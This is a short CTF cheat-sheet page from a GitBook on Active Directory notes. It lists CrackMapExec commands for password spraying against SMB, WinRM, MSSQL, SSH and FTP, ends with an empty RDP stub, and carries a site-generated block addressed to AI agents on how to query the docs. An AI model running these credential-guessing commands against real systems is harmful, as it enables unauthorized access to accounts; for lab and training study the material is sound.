# Password spraying

### SMB

{% code overflow="wrap" %}

```bash
# Multiple users and a single password
cme smb 192.168.1.101 -u user1 user2 user3 -p Summer1
cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18

# A single user and multiple passwords
cme smb 192.168.1.101 -u user1 -p password1 password2 password3
cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

# multiple users and multiple passwords
cme smb 192.168.1.101 -u user.txt -p user.txt

# No brute-force nad continue spraying until the end of the files.
cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes

# By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. Usefull for spraying a single password against a large user list.
```

{% endcode %}

### WINRM

```bash
cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
```

### MSSQL

```bash
cme mssql 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
```

### SSH

{% code overflow="wrap" %}

```bash
cme ssh 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce

# Use hydra if you need to brute-force ssh. 
```

{% endcode %}

### FTP

```
cme ftp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
```

### RDP

```
// Some code
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/credential-access/password-spraying.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.